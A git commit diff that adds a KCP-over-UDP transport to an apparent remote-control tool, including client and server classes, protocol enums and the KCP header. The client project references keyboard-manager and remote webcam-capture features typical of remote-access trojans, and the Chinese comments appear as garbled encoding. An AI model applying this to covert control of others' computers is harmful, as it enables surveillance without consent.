Feature: Implement KCP protocol - based on UDP

This commit is contained in:
yuanyuanxiang
2025-07-20 04:42:29 +08:00
parent 07f6c92306
commit a2759a5d6a
25 changed files with 2248 additions and 29 deletions

View File

@@ -484,6 +484,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
}
State& bExit(app.g_bExit);
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
if (nullptr == ClientObject) return -1;
CKernelManager* Manager = nullptr;
if (!app.m_bShared) {

View File

@@ -65,7 +65,7 @@ public:
DestroyCursor(m_CursorHandleArray[i]);
}
int getCurrentCursorIndex()
int getCurrentCursorIndex() const
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);

View File

@@ -317,18 +317,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
else if (iRet > 0)
{
int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
if (iReceivedLength <= 0)
{
int a = WSAGetLastError();
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CompressedBuffer.ClearBuffer();
if(This->m_exit_while_disconnect)
break;
}else{
szBuffer[iReceivedLength] = 0;
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving(&m_CompressedBuffer, szBuffer, iReceivedLength);
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
break;
}
}
}
@@ -341,6 +331,24 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
return 0xDEAD;
}
bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag) {
int iReceivedLength = ReceiveData(szBuffer, len, flag);
if (iReceivedLength <= 0)
{
int a = WSAGetLastError();
Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CompressedBuffer->ClearBuffer();
if (m_exit_while_disconnect)
return false;
}
else {
szBuffer[iReceivedLength] = 0;
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
}
return true;
}
// <20><><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD>߼<EFBFBD>:
// <20><><EFBFBD><EFBFBD> f ִ<><D6B4>ʱ û<>д<EFBFBD><D0B4><EFBFBD>ϵͳ<CFB5><EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʳ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
// <20><><EFBFBD><EFBFBD> f ִ<>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD> <20>׳<EFBFBD><D7B3><EFBFBD><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> __except <20><><EFBFBD>񣬷<EFBFBD><F1A3ACB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EBA3A8> 0xC0000005 <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Υ<EFBFBD>

View File

@@ -157,6 +157,7 @@ protected:
// TCP<43><EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
virtual int SendTo(const char* buf, int len, int flags) {
return ::send(m_sClientSocket, buf, len, flags);

118
client/IOCPKCPClient.cpp Normal file
View File

@@ -0,0 +1,118 @@
#include "IOCPKCPClient.h"
#include <windows.h>
#include <chrono>
#include <iostream>
IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect)
: IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false)
{
}
IOCPKCPClient::~IOCPKCPClient()
{
running_ = false;
if (updateThread_.joinable())
updateThread_.join();
if (kcp_)
ikcp_release(kcp_);
}
BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort);
if (!ret)
return FALSE;
// <20><>ʼ<EFBFBD><CABC>KCP
uint32_t conv = KCP_SESSION_ID; // conv Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD><C6A5>
kcp_ = ikcp_create(conv, this);
if (!kcp_)
return FALSE;
// <20><><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD>
ikcp_nodelay(kcp_, 1, 40, 2, 0);
kcp_->rx_minrto = 30;
kcp_->snd_wnd = 128;
kcp_->rcv_wnd = 128;
// <20><><EFBFBD>÷<EFBFBD><C3B7>ͻص<CDBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ã<EFBFBD>
kcp_->output = IOCPKCPClient::kcpOutput;
running_ = true;
updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this);
m_bConnected = TRUE;
return TRUE;
}
// UDP<44>հ<EFBFBD><D5B0>̵߳<DFB3><CCB5>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٳ<EFBFBD><D9B3>Զ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӧ<EFBFBD>ð<EFBFBD>
int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags)
{
// <20>ȵ<EFBFBD><C8B5>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDPԭʼ<D4AD><CABC><EFBFBD><EFBFBD>
char udpBuffer[1500] = { 0 };
int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags);
if (recvLen <= 0)
return recvLen;
// <20><><EFBFBD><EFBFBD>KCPЭ<50><D0AD>ջ
int inputRet = ikcp_input(kcp_, udpBuffer, recvLen);
if (inputRet < 0)
return -1;
// <20><>KCP<43>ж<EFBFBD>ȡӦ<C8A1>ò<EFBFBD><C3B2><EFBFBD><EFBFBD>ݣ<EFBFBD>д<EFBFBD><D0B4>buffer
int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize);
return kcpRecvLen; // >0<><30>ʾ<EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>0<EFBFBD><30>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) {
int iReceivedLength = ReceiveData(szBuffer, len, flag);
if (iReceivedLength <= 0)
{}
else {
szBuffer[iReceivedLength] = 0;
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
}
return true;
}
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ò<EFBFBD><C3B2><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ã<EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD>KCPЭ<50><D0AD>ջ
int IOCPKCPClient::SendTo(const char* buf, int len, int flags)
{
if (!kcp_)
return -1;
int ret = ikcp_send(kcp_, buf, len);
if (ret < 0)
return -1;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>flush<73><68><EFBFBD>ӿ췢<D3BF><ECB7A2>
ikcp_flush(kcp_);
return ret;
}
// KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݻص<DDBB><D8B5><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD>ɵ<EFBFBD>UDP<44><50><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user)
{
IOCPKCPClient* client = reinterpret_cast<IOCPKCPClient*>(user);
if (client->m_sClientSocket == INVALID_SOCKET)
return -1;
int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr));
if (sentLen == len)
return 0;
else
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>̶߳<DFB3>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ikcp_update<74><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void IOCPKCPClient::KCPUpdateLoop()
{
while (running_ && !g_bExit)
{
IUINT32 current = GetTickCount64();
ikcp_update(kcp_, current);
std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms<6D><73><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
}

34
client/IOCPKCPClient.h Normal file
View File

@@ -0,0 +1,34 @@
#pragma once
#include "IOCPUDPClient.h"
#include "ikcp.h"
#include <thread>
#include <atomic>
class IOCPKCPClient : public IOCPUDPClient
{
public:
IOCPKCPClient(State& bExit, bool exit_while_disconnect = false);
virtual ~IOCPKCPClient();
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
// <20><>д<EFBFBD><D0B4><EFBFBD>պ<EFBFBD><D5BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<44><50><EFBFBD>ݸ<EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override;
// <20><>д<EFBFBD><D0B4><EFBFBD>ͺ<EFBFBD><CDBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>KCP<43><50><EFBFBD><EFBFBD>
virtual int SendTo(const char* buf, int len, int flags) override;
private:
// KCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĻص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<44><50>sendto
static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user);
// <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ikcp_update<74><65><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
void KCPUpdateLoop();
private:
ikcpcb* kcp_;
std::thread updateThread_;
std::atomic<bool> running_;
};

View File

@@ -14,15 +14,19 @@
#include "server/2015Remote/pwd_gen.h"
#include <common/iniFile.h>
#include "IOCPUDPClient.h"
#include "IOCPKCPClient.h"
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
if (conn->protoType == PROTO_TCP)
if (!conn->IsVerified() || conn->protoType == PROTO_TCP)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
if (conn->protoType == PROTO_UDP)
return new IOCPUDPClient(bExit, exit_while_disconnect);
if (conn->protoType == PROTO_HTTP)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
if (conn->protoType == PROTO_KCP) {
return new IOCPKCPClient(bExit, exit_while_disconnect);
}
return NULL;
}
@@ -421,6 +425,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_WEBCAM:
{
static bool hasCamera = WebCamIsExist();
if (!hasCamera) break;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;

View File

@@ -171,6 +171,7 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
@@ -180,6 +181,7 @@
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
@@ -202,6 +204,7 @@
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
@@ -213,6 +216,7 @@
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />

View File

@@ -542,8 +542,11 @@ enum ProtoType {
PROTO_UDP = 1, // UDP
PROTO_HTTP = 2, // HTTP
PROTO_HTTPS = 3, // HTTPS
PROTO_KCP = 4, // KCP
};
#define KCP_SESSION_ID 666
enum RunningType {
RUNNING_RANDOM = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
RUNNING_PARALLEL = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

1299
common/ikcp.c Normal file

File diff suppressed because it is too large Load Diff

416
common/ikcp.h Normal file
View File

@@ -0,0 +1,416 @@
//=====================================================================
//
// KCP - A Better ARQ Protocol Implementation
// skywind3000 (at) gmail.com, 2010-2011
//
// Features:
// + Average RTT reduce 30% - 40% vs traditional ARQ like tcp.
// + Maximum RTT reduce three times vs tcp.
// + Lightweight, distributed as a single source file.
//
//=====================================================================
#ifndef __IKCP_H__
#define __IKCP_H__
#include <stddef.h>
#include <stdlib.h>
#include <assert.h>
//=====================================================================
// 32BIT INTEGER DEFINITION
//=====================================================================
#ifndef __INTEGER_32_BITS__
#define __INTEGER_32_BITS__
#if defined(_WIN64) || defined(WIN64) || defined(__amd64__) || \
defined(__x86_64) || defined(__x86_64__) || defined(_M_IA64) || \
defined(_M_AMD64)
typedef unsigned int ISTDUINT32;
typedef int ISTDINT32;
#elif defined(_WIN32) || defined(WIN32) || defined(__i386__) || \
defined(__i386) || defined(_M_X86)
typedef unsigned long ISTDUINT32;
typedef long ISTDINT32;
#elif defined(__MACOS__)
typedef UInt32 ISTDUINT32;
typedef SInt32 ISTDINT32;
#elif defined(__APPLE__) && defined(__MACH__)
#include <sys/types.h>
typedef u_int32_t ISTDUINT32;
typedef int32_t ISTDINT32;
#elif defined(__BEOS__)
#include <sys/inttypes.h>
typedef u_int32_t ISTDUINT32;
typedef int32_t ISTDINT32;
#elif (defined(_MSC_VER) || defined(__BORLANDC__)) && (!defined(__MSDOS__))
typedef unsigned __int32 ISTDUINT32;
typedef __int32 ISTDINT32;
#elif defined(__GNUC__)
#include <stdint.h>
typedef uint32_t ISTDUINT32;
typedef int32_t ISTDINT32;
#else
typedef unsigned long ISTDUINT32;
typedef long ISTDINT32;
#endif
#endif
//=====================================================================
// Integer Definition
//=====================================================================
#ifndef __IINT8_DEFINED
#define __IINT8_DEFINED
typedef char IINT8;
#endif
#ifndef __IUINT8_DEFINED
#define __IUINT8_DEFINED
typedef unsigned char IUINT8;
#endif
#ifndef __IUINT16_DEFINED
#define __IUINT16_DEFINED
typedef unsigned short IUINT16;
#endif
#ifndef __IINT16_DEFINED
#define __IINT16_DEFINED
typedef short IINT16;
#endif
#ifndef __IINT32_DEFINED
#define __IINT32_DEFINED
typedef ISTDINT32 IINT32;
#endif
#ifndef __IUINT32_DEFINED
#define __IUINT32_DEFINED
typedef ISTDUINT32 IUINT32;
#endif
#ifndef __IINT64_DEFINED
#define __IINT64_DEFINED
#if defined(_MSC_VER) || defined(__BORLANDC__)
typedef __int64 IINT64;
#else
typedef long long IINT64;
#endif
#endif
#ifndef __IUINT64_DEFINED
#define __IUINT64_DEFINED
#if defined(_MSC_VER) || defined(__BORLANDC__)
typedef unsigned __int64 IUINT64;
#else
typedef unsigned long long IUINT64;
#endif
#endif
#ifndef INLINE
#if defined(__GNUC__)
#if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 1))
#define INLINE __inline__ __attribute__((always_inline))
#else
#define INLINE __inline__
#endif
#elif (defined(_MSC_VER) || defined(__BORLANDC__) || defined(__WATCOMC__))
#define INLINE __inline
#else
#define INLINE
#endif
#endif
#if (!defined(__cplusplus)) && (!defined(inline))
#define inline INLINE
#endif
//=====================================================================
// QUEUE DEFINITION
//=====================================================================
#ifndef __IQUEUE_DEF__
#define __IQUEUE_DEF__
struct IQUEUEHEAD {
struct IQUEUEHEAD *next, *prev;
};
typedef struct IQUEUEHEAD iqueue_head;
//---------------------------------------------------------------------
// queue init
//---------------------------------------------------------------------
#define IQUEUE_HEAD_INIT(name) { &(name), &(name) }
#define IQUEUE_HEAD(name) \
struct IQUEUEHEAD name = IQUEUE_HEAD_INIT(name)
#define IQUEUE_INIT(ptr) ( \
(ptr)->next = (ptr), (ptr)->prev = (ptr))
#define IOFFSETOF(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
#define ICONTAINEROF(ptr, type, member) ( \
(type*)( ((char*)((type*)ptr)) - IOFFSETOF(type, member)) )
#define IQUEUE_ENTRY(ptr, type, member) ICONTAINEROF(ptr, type, member)
//---------------------------------------------------------------------
// queue operation
//---------------------------------------------------------------------
#define IQUEUE_ADD(node, head) ( \
(node)->prev = (head), (node)->next = (head)->next, \
(head)->next->prev = (node), (head)->next = (node))
#define IQUEUE_ADD_TAIL(node, head) ( \
(node)->prev = (head)->prev, (node)->next = (head), \
(head)->prev->next = (node), (head)->prev = (node))
#define IQUEUE_DEL_BETWEEN(p, n) ((n)->prev = (p), (p)->next = (n))
#define IQUEUE_DEL(entry) (\
(entry)->next->prev = (entry)->prev, \
(entry)->prev->next = (entry)->next, \
(entry)->next = 0, (entry)->prev = 0)
#define IQUEUE_DEL_INIT(entry) do { \
IQUEUE_DEL(entry); IQUEUE_INIT(entry); } while (0)
#define IQUEUE_IS_EMPTY(entry) ((entry) == (entry)->next)
#define iqueue_init IQUEUE_INIT
#define iqueue_entry IQUEUE_ENTRY
#define iqueue_add IQUEUE_ADD
#define iqueue_add_tail IQUEUE_ADD_TAIL
#define iqueue_del IQUEUE_DEL
#define iqueue_del_init IQUEUE_DEL_INIT
#define iqueue_is_empty IQUEUE_IS_EMPTY
#define IQUEUE_FOREACH(iterator, head, TYPE, MEMBER) \
for ((iterator) = iqueue_entry((head)->next, TYPE, MEMBER); \
&((iterator)->MEMBER) != (head); \
(iterator) = iqueue_entry((iterator)->MEMBER.next, TYPE, MEMBER))
#define iqueue_foreach(iterator, head, TYPE, MEMBER) \
IQUEUE_FOREACH(iterator, head, TYPE, MEMBER)
#define iqueue_foreach_entry(pos, head) \
for( (pos) = (head)->next; (pos) != (head) ; (pos) = (pos)->next )
#define __iqueue_splice(list, head) do { \
iqueue_head *first = (list)->next, *last = (list)->prev; \
iqueue_head *at = (head)->next; \
(first)->prev = (head), (head)->next = (first); \
(last)->next = (at), (at)->prev = (last); } while (0)
#define iqueue_splice(list, head) do { \
if (!iqueue_is_empty(list)) __iqueue_splice(list, head); } while (0)
#define iqueue_splice_init(list, head) do { \
iqueue_splice(list, head); iqueue_init(list); } while (0)
#ifdef _MSC_VER
#pragma warning(disable:4311)
#pragma warning(disable:4312)
#pragma warning(disable:4996)
#endif
#endif
//---------------------------------------------------------------------
// BYTE ORDER & ALIGNMENT
//---------------------------------------------------------------------
#ifndef IWORDS_BIG_ENDIAN
#ifdef _BIG_ENDIAN_
#if _BIG_ENDIAN_
#define IWORDS_BIG_ENDIAN 1
#endif
#endif
#ifndef IWORDS_BIG_ENDIAN
#if defined(__hppa__) || \
defined(__m68k__) || defined(mc68000) || defined(_M_M68K) || \
(defined(__MIPS__) && defined(__MIPSEB__)) || \
defined(__ppc__) || defined(__POWERPC__) || defined(_M_PPC) || \
defined(__sparc__) || defined(__powerpc__) || \
defined(__mc68000__) || defined(__s390x__) || defined(__s390__)
#define IWORDS_BIG_ENDIAN 1
#endif
#endif
#ifndef IWORDS_BIG_ENDIAN
#define IWORDS_BIG_ENDIAN 0
#endif
#endif
#ifndef IWORDS_MUST_ALIGN
#if defined(__i386__) || defined(__i386) || defined(_i386_)
#define IWORDS_MUST_ALIGN 0
#elif defined(_M_IX86) || defined(_X86_) || defined(__x86_64__)
#define IWORDS_MUST_ALIGN 0
#elif defined(__amd64) || defined(__amd64__)
#define IWORDS_MUST_ALIGN 0
#else
#define IWORDS_MUST_ALIGN 1
#endif
#endif
//=====================================================================
// SEGMENT
//=====================================================================
struct IKCPSEG
{
struct IQUEUEHEAD node;
IUINT32 conv;
IUINT32 cmd;
IUINT32 frg;
IUINT32 wnd;
IUINT32 ts;
IUINT32 sn;
IUINT32 una;
IUINT32 len;
IUINT32 resendts;
IUINT32 rto;
IUINT32 fastack;
IUINT32 xmit;
char data[1];
};
//---------------------------------------------------------------------
// IKCPCB
//---------------------------------------------------------------------
struct IKCPCB
{
IUINT32 conv, mtu, mss, state;
IUINT32 snd_una, snd_nxt, rcv_nxt;
IUINT32 ts_recent, ts_lastack, ssthresh;
IINT32 rx_rttval, rx_srtt, rx_rto, rx_minrto;
IUINT32 snd_wnd, rcv_wnd, rmt_wnd, cwnd, probe;
IUINT32 current, interval, ts_flush, xmit;
IUINT32 nrcv_buf, nsnd_buf;
IUINT32 nrcv_que, nsnd_que;
IUINT32 nodelay, updated;
IUINT32 ts_probe, probe_wait;
IUINT32 dead_link, incr;
struct IQUEUEHEAD snd_queue;
struct IQUEUEHEAD rcv_queue;
struct IQUEUEHEAD snd_buf;
struct IQUEUEHEAD rcv_buf;
IUINT32 *acklist;
IUINT32 ackcount;
IUINT32 ackblock;
void *user;
char *buffer;
int fastresend;
int fastlimit;
int nocwnd, stream;
int logmask;
int (*output)(const char *buf, int len, struct IKCPCB *kcp, void *user);
void (*writelog)(const char *log, struct IKCPCB *kcp, void *user);
};
typedef struct IKCPCB ikcpcb;
#define IKCP_LOG_OUTPUT 1
#define IKCP_LOG_INPUT 2
#define IKCP_LOG_SEND 4
#define IKCP_LOG_RECV 8
#define IKCP_LOG_IN_DATA 16
#define IKCP_LOG_IN_ACK 32
#define IKCP_LOG_IN_PROBE 64
#define IKCP_LOG_IN_WINS 128
#define IKCP_LOG_OUT_DATA 256
#define IKCP_LOG_OUT_ACK 512
#define IKCP_LOG_OUT_PROBE 1024
#define IKCP_LOG_OUT_WINS 2048
#ifdef __cplusplus
extern "C" {
#endif
//---------------------------------------------------------------------
// interface
//---------------------------------------------------------------------
// create a new kcp control object, 'conv' must equal in two endpoint
// from the same connection. 'user' will be passed to the output callback
// output callback can be setup like this: 'kcp->output = my_udp_output'
ikcpcb* ikcp_create(IUINT32 conv, void *user);
// release kcp control object
void ikcp_release(ikcpcb *kcp);
// set output callback, which will be invoked by kcp
void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len,
ikcpcb *kcp, void *user));
// user/upper level recv: returns size, returns below zero for EAGAIN
int ikcp_recv(ikcpcb *kcp, char *buffer, int len);
// user/upper level send, returns below zero for error
int ikcp_send(ikcpcb *kcp, const char *buffer, int len);
// update state (call it repeatedly, every 10ms-100ms), or you can ask
// ikcp_check when to call it again (without ikcp_input/_send calling).
// 'current' - current timestamp in millisec.
void ikcp_update(ikcpcb *kcp, IUINT32 current);
// Determine when should you invoke ikcp_update:
// returns when you should invoke ikcp_update in millisec, if there
// is no ikcp_input/_send calling. you can call ikcp_update in that
// time, instead of call update repeatly.
// Important to reduce unnacessary ikcp_update invoking. use it to
// schedule ikcp_update (eg. implementing an epoll-like mechanism,
// or optimize ikcp_update when handling massive kcp connections)
IUINT32 ikcp_check(const ikcpcb *kcp, IUINT32 current);
// when you received a low level packet (eg. UDP packet), call it
int ikcp_input(ikcpcb *kcp, const char *data, long size);
// flush pending data
void ikcp_flush(ikcpcb *kcp);
// check the size of next message in the recv queue
int ikcp_peeksize(const ikcpcb *kcp);
// change MTU size, default is 1400
int ikcp_setmtu(ikcpcb *kcp, int mtu);
// set maximum window size: sndwnd=32, rcvwnd=32 by default
int ikcp_wndsize(ikcpcb *kcp, int sndwnd, int rcvwnd);
// get how many packet is waiting to be sent
int ikcp_waitsnd(const ikcpcb *kcp);
// fastest: ikcp_nodelay(kcp, 1, 20, 2, 1)
// nodelay: 0:disable(default), 1:enable
// interval: internal update timer interval in millisec, default is 100ms
// resend: 0:disable fast resend(default), 1:enable fast resend
// nc: 0:normal congestion control(default), 1:disable congestion control
int ikcp_nodelay(ikcpcb *kcp, int nodelay, int interval, int resend, int nc);
void ikcp_log(ikcpcb *kcp, int mask, const char *fmt, ...);
// setup allocator
void ikcp_allocator(void* (*new_malloc)(size_t), void (*new_free)(void*));
// read conv
IUINT32 ikcp_getconv(const void *ptr);
#ifdef __cplusplus
}
#endif
#endif

View File

@@ -178,7 +178,10 @@ int CMy2015RemoteApp::ExitInstance()
CloseHandle(m_Mutex);
m_Mutex = NULL;
}
Delete();
__try{
Delete();
}__except(EXCEPTION_EXECUTE_HANDLER){
}
SAFE_DELETE(m_iniFile);

View File

@@ -12,6 +12,7 @@
#include "common/iniFile.h"
#include "IOCPServer.h"
#include "IOCPUDPServer.h"
#include "IOCPKCPServer.h"
// CMy2015RemoteApp:
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
@@ -25,7 +26,9 @@ private:
Server* m_tcpServer;
Server* m_udpServer;
public:
ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {}
ServerPair(int method=0) :
m_tcpServer(new IOCPServer),
m_udpServer(method ? (Server*)new IOCPKCPServer : new IOCPUDPServer) {}
virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); }
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
@@ -78,13 +81,14 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
// nPortʾ<74><CABE>: 6543;7543
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn) {
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort, int maxConn, const std::string& method) {
bool succeed = false;
auto list = StringToVector(uPort, ';');
auto methods = StringToVector(method, ';', list.size());
for (int i=0; i<list.size(); ++i)
{
int port = std::atoi(list[i].c_str());
auto svr = new ServerPair();
auto svr = new ServerPair(atoi(methods[i].c_str()));
BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
if (ret == FALSE) {
SAFE_DELETE(svr);

Binary file not shown.

View File

